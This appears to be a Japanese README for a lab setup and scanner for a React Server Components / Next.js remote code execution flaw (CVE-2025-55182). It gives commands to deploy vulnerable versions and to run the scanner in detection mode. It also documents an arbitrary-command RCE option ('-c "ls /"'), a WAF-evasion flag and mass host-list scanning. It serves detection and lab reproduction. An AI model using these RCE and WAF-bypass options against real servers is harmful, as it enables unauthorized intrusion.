
CVE-2025-55182再現環境及びRCEエコーPoC
| コンポーネント | 再現推奨バージョン | 脆弱なバージョン範囲 |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) 以上 |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 または 19.2.0 | 19.0.0 から 19.2.0 まで |
| RSC Bundler | react-server-dom-webpack | 19.0.0 から 19.2.0 まで |
低バージョンを強制インストール
cd cve-2025-55182-target
npm install --force
依存関係のバージョンを確認
npm list react next
# 出力に [email protected] と [email protected] が表示されていることを確認
トップレベルの依存関係リストに [email protected] と [email protected] が表示されていれば、環境は脆弱な状態に正常にロックされています。ここの警告やエラーコードは無視して構いません。
ビルド:
npm run build
実行:
npm start
サーバーは http://localhost:3000 でリッスンします。環境の準備が完了しました。脆弱性の検証を開始できます。
脆弱性検出/スキャン:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


React Server Componentsを使用したNext.jsアプリケーションにおけるCVE-2025-55182およびCVE-2025-66478を検出するためのコマンドラインツールです。
脆弱性と検出手法の技術的詳細については、ブログ記事を参照してください: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
デフォルトでは、スキャナーは決定的な数学演算(41*271 = 11111)を実行するRCE概念実証ペイロードを含む、巧みに細工されたマルチパートPOSTリクエストを送信します。脆弱なホストは、結果を X-Action-Redirect レスポンスヘッダーに /login?a=11111 として返します。
スキャナーは最初にルートパスをテストします。脆弱でない場合は、同一ホストのリダイレクト(例:/ から /en/ など)をたどり、リダイレクト先をテストします。クロスオリジンのリダイレクトはたどりません。
--safe-check フラグは、ターゲット上でコードを実行せずにサイドチャネルインジケーター(特定のエラーダイジェストを伴う500ステータスコード)に依存する代替検出方法を使用します。RCEの実行が望ましくない場合は、このモードを使用してください。
--waf-bypass フラグは、マルチパートリクエストボディの先頭にランダムなジャンクデータを追加します。これにより、リクエストボディの最初の部分のみを分析するWAFのコンテンツ検査を回避するのに役立ちます。デフォルトサイズは128KBで、--waf-bypass-size で設定可能です。WAFバイパスが有効な場合、タイムアウトは自動的に20秒に増加します(明示的に設定されていない場合)。
--windows フラグは、Windows上で実行されるターゲットに対して、ペイロードをUnixシェル(echo $((41*271)))からPowerShell(powershell -c "41*271")に切り替えます。
pip install -r requirements.txt
単一ホストのスキャン:
python3 scanner.py -u https://example.com
ホストリストのスキャン:
python3 scanner.py -l hosts.txt
複数スレッドでのスキャンと結果の保存:
python3 scanner.py -l hosts.txt -t 20 -o results.json
カスタムヘッダーでのスキャン:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
セーフサイドチャネル検出の使用:
python3 scanner.py -u https://example.com --safe-check
Windowsターゲットのスキャン:
python3 scanner.py -u https://example.com --windows
WAFバイパスでのスキャン:
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url チェックする単一のURL
-c, --cmd 実行するコマンド
-l, --list ホストを含むファイル(1行に1つ)
-t, --threads 同時スレッド数(デフォルト: 10)
--timeout リクエストタイムアウト(秒)(デフォルト: 10)
-o, --output 結果の出力ファイル(JSON)
--all-results 脆弱なホストだけでなく、すべての結果を保存
-k, --insecure SSL証明書の検証を無効化
-H, --header カスタムヘッダー(複数回使用可能)
-v, --verbose 脆弱なホストのレスポンス詳細を表示
-q, --quiet 脆弱なホストのみを出力
--no-color 色付き出力を無効化
--safe-check RCE PoCの代わりにセーフサイドチャネル検出を使用
--windows Unixシェルの代わりにWindows PowerShellペイロードを使用
--waf-bypass WAFコンテンツ検査をバイパスするためにジャンクデータを追加
--waf-bypass-size ジャンクデータのサイズ(KB)(デフォルト: 128)
RCE PoCは元々@maple3142によって公開されました。動作するPoCを公開してくださったことに非常に感謝しています。
このツールは元々、RCEを検出する安全な方法として構築されました。この機能は現在も --safe-check、「安全検出」モードを介して利用可能です。
結果はターミナルに出力されます。-o を使用すると、脆弱なホストが検証用の完全なHTTPリクエストとレスポンスを含むJSONファイルに保存されます。